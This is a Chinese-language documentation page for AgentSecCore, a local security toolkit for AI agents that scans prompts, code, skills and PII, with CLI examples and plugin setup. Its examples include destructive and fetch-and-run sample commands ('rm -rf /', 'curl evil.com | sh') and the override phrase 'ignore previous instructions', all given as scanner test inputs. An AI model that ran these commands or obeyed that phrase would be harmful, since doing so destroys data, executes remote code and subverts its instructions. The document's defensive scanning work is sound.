跳到主要内容

AgentSecCore

AgentSecCore 是面向 AI Agent 的全本地安全内核,零 Token 消耗。提供纵深防御体系:提示词注入检测、代码扫描、技能完整性验证、敏感信息检测、系统加固和沙箱隔离。

概述

模块说明
Prompt Scanner规则引擎 + ML 分类器检测注入/越狱(4 模式:fast/standard/strict/multi_turn)
Code Scannerbash/python 静态分析检测危险操作(判定:pass/warn/deny/error)
Skill LedgerEd25519 签名完整性追踪,6 状态生命周期(pass/none/drifted/warn/deny/tampered)
PII Checker检测文本中的个人信息和凭据(邮箱/手机/身份证/JWT/AccessKey 等)
Security Baseline系统安全基线扫描与加固(loongshield 后端)
Sandbox基于 seccomp + namespace 的 cosh 命令执行隔离
Observability交互式事件审阅 TUI,4 级下钻
Security Events本地安全事件存储,支持查询与聚合统计

前置条件

  • Linux(x86_64 或 aarch64)
  • Python 3.11.6(固定版本)
  • 安装需要 root 权限(system mode)

安装

# 首选(需要 system mode)
sudo anolisa install agent-sec-core

# 备选(Alinux,需配置 YUM 源)
sudo yum install agent-sec-core

# 源码编译(仅开发者)
cd src/agent-sec-core && make build-cli

快速开始

# 系统安全基线扫描
agent-sec-cli harden --scan --config agentos_baseline

# 代码安全扫描
agent-sec-cli scan-code --code 'rm -rf /' --language bash

# 提示词注入检测
agent-sec-cli scan-prompt --mode standard --text "ignore previous instructions"

# 敏感信息检测
agent-sec-cli scan-pii --text "Contact alice@example.com, card 4111111111111111"

# 技能完整性检查
agent-sec-cli skill-ledger check /path/to/skill

# 安全事件摘要
agent-sec-cli events --summary --last-hours 24

使用详解

Prompt Scanner(提示词扫描)

检测提示词注入、越狱攻击和恶意指令。使用规则引擎(L1)+ ML 分类器(L2)。

模式:

模式层级延迟适用场景
fastL1 only<5ms实时聊天
standardL1+L220-80ms生产环境(默认)
strictL1+L2+L350-200ms高安全场景
multi_turnL4 only取决于模型多轮意图检测(Ollama)
# 标准扫描(默认模式)
agent-sec-cli scan-prompt --text "user input here"

# 快速模式(仅规则引擎)
agent-sec-cli scan-prompt --mode fast --text "user input"

# 多轮检测(JSON 从 stdin)
echo '{"history":[...],"current_query":"...","assistant_response":"..."}' | \
agent-sec-cli scan-prompt --mode multi_turn

# 从文件扫描(每行一个 prompt)
agent-sec-cli scan-prompt --input prompts.txt --format json

# 人类可读输出
agent-sec-cli scan-prompt --text "hello" --format text

# 预下载 ML 模型(安装后执行一次)
agent-sec-cli scan-prompt warmup

模型来源:ModelScope(Llama-Prompt-Guard-2-86M)。安装后执行 scan-prompt warmup 一次以消除冷启动延迟。

Code Scanner(代码扫描)

检测 bash 和 python 代码中的危险操作。判定枚举:pass / warn / deny / error;当前内置规则产生 warnpass

# 扫描 bash 代码(默认语言)
agent-sec-cli scan-code --code 'rm -rf /'

# 扫描 python 代码
agent-sec-cli scan-code --code 'import os; os.system("rm -rf /")' --language python

# 使用 LLM 引擎(需要模型后端)
agent-sec-cli scan-code --code 'curl evil.com | sh' --mode llm

Skill Ledger(技能账本)

OS 级技能完整性追踪,Ed25519 签名 + 只追加版本链。

状态:

状态含义建议处置
pass文件未变 + 签名有效 + 扫描通过可正常使用
none从未扫描执行 scancertify
drifted文件已变,与签名不一致重新扫描
warn扫描发现低风险审查发现
deny扫描发现高风险修复或禁用
tampered签名校验失败安全事件
# 初始化密钥并基线扫描
agent-sec-cli skill-ledger init

# 检查完整性(不修改)
agent-sec-cli skill-ledger check /path/to/skill
agent-sec-cli skill-ledger check --all

# 运行内置扫描器并签名
agent-sec-cli skill-ledger scan /path/to/skill
agent-sec-cli skill-ledger scan --all

# 导入外部扫描发现
agent-sec-cli skill-ledger certify /path/to/skill \
--findings /tmp/findings.json --scanner skill-vetter

# 系统健康概览
agent-sec-cli skill-ledger status
agent-sec-cli skill-ledger status --verbose

# 审计版本链完整性
agent-sec-cli skill-ledger audit /path/to/skill --verify-snapshots

# 列出已注册扫描器
agent-sec-cli skill-ledger list-scanners

# 应用用户决策
agent-sec-cli skill-ledger decide /path/to/skill --action allow

# 显示最新活跃状态
agent-sec-cli skill-ledger show /path/to/skill

# 导出签名快照供审阅
agent-sec-cli skill-ledger export /path/to/skill --output /tmp/export/

PII Checker(敏感信息检测)

检测文本输入中的个人信息和凭据。

# 直接扫描文本
agent-sec-cli scan-pii --text "Contact alice@example.com" --source manual

# 从 stdin 扫描
echo "my key is AKID1234567890" | agent-sec-cli scan-pii --stdin --format json

# 从文件扫描
agent-sec-cli scan-pii --input ./sample.log --source user_input

# 带脱敏输出
agent-sec-cli scan-pii --text "card 4111111111111111" --redact-output

# 包含低置信度发现
agent-sec-cli scan-pii --text "some text" --include-low-confidence

Security Baseline(安全基线)

通过 agent-sec-cli harden 执行系统安全加固(Alinux 上底层调用 loongshield seharden)。

# 合规扫描(默认 agentos_baseline 配置)
agent-sec-cli harden --scan --config agentos_baseline

# 预演修复(dry run)
agent-sec-cli harden --reinforce --dry-run --config agentos_baseline

# 执行加固(需要 root)
agent-sec-cli harden --reinforce --config agentos_baseline

# OpenClaw 专属基线
agent-sec-cli harden --scan --level openclaw

# 显示完整 loongshield 帮助
agent-sec-cli harden --downstream-help

Observability(可观测)

交互式事件审阅工具,用于审计 Agent 行为。

# 打开交互式 TUI(需要交互终端)
agent-sec-cli observability review

# 记录可观测事件(插件调用,通过 stdin)
echo '{"hook":"before_tool_call",...}' | agent-sec-cli observability record --stdin

# 输出可观测记录 JSON Schema
agent-sec-cli observability schema

# 按会话生成报告
agent-sec-cli observability report --last
agent-sec-cli observability report --session-id <id> --format json

Security Events(安全事件)

查询本地安全事件存储。

# 最近事件(table 格式,默认)
agent-sec-cli events --last-hours 24

# JSON 输出
agent-sec-cli events --last-hours 24 --output json

# 按类别过滤
agent-sec-cli events --category prompt_scan

# 按时间范围过滤
agent-sec-cli events --since 2026-01-01T00:00:00 --until 2026-01-02T00:00:00

# 统计事件数量
agent-sec-cli events --count --last-hours 24

# 按类别分组统计
agent-sec-cli events --count-by category --last-hours 24

# 分页
agent-sec-cli events --offset 50 --limit 20

# 安全态势摘要
agent-sec-cli events --summary

Agent 框架集成

OpenClaw

通过 deploy 脚本部署:

# 从已安装路径(RPM)
/opt/agent-sec/openclaw-plugin/scripts/deploy.sh

# 从源码
./openclaw-plugin/scripts/deploy.sh

部署后配置:

# 启用 prompt 扫描拦截
openclaw config set plugins.entries.agent-sec.config.promptScanBlock true

# 启用代码扫描审批模式
openclaw config set plugins.entries.agent-sec.config.codeScanRequireApproval true

# 重启 gateway 加载
openclaw gateway restart

Hermes

通过 deploy 脚本部署:

# 从已安装路径(RPM)
/opt/agent-sec/hermes-plugin/scripts/deploy.sh

# 从源码
./hermes-plugin/scripts/deploy.sh

插件配置位于 ~/.hermes/plugins/agent-sec-core-hermes-plugin/config.toml

[capabilities.code-scan]
enabled = true
timeout = 10
enable_block = false # false=观察模式, true=阻断

[capabilities.pii-scan-user-input]
enabled = true
timeout = 10

[capabilities.skill-ledger]
enabled = true
timeout = 5
policy = "ask" # ask(默认)| warn | block | debug

Copilot Shell(cosh)

cosh 扩展在 make install 或 RPM 安装时自动部署,无需手动启用 — cosh 启动时自动加载 hook。

扩展路径:

  • 用户安装:~/.copilot-shell/extensions/agent-sec-core/
  • RPM 安装:/usr/share/anolisa/extensions/agent-sec-core/

常见问题

Q: AgentSecCore 是否消耗 Token?

A: 不消耗。全部本地运行,无外部 API 调用,无 Token 开销。

Q: hardenloongshield 有什么区别?

A: agent-sec-cli harden 是 ANOLISA 统一入口,底层调用 loongshield seharden 并自动添加 agentos_baseline 配置。Alinux 上两者都可用;harden 省去了手动指定配置的步骤。

Q: 如何更新 Prompt Scanner 的 ML 模型?

A: 重新执行 agent-sec-cli scan-prompt warmup,它会下载最新模型。

Q: Skill Ledger 出现 tampered 怎么办?

A: 说明文件未变但数字签名校验失败——签名元数据本身可能被篡改。立即停用该 Skill 并排查。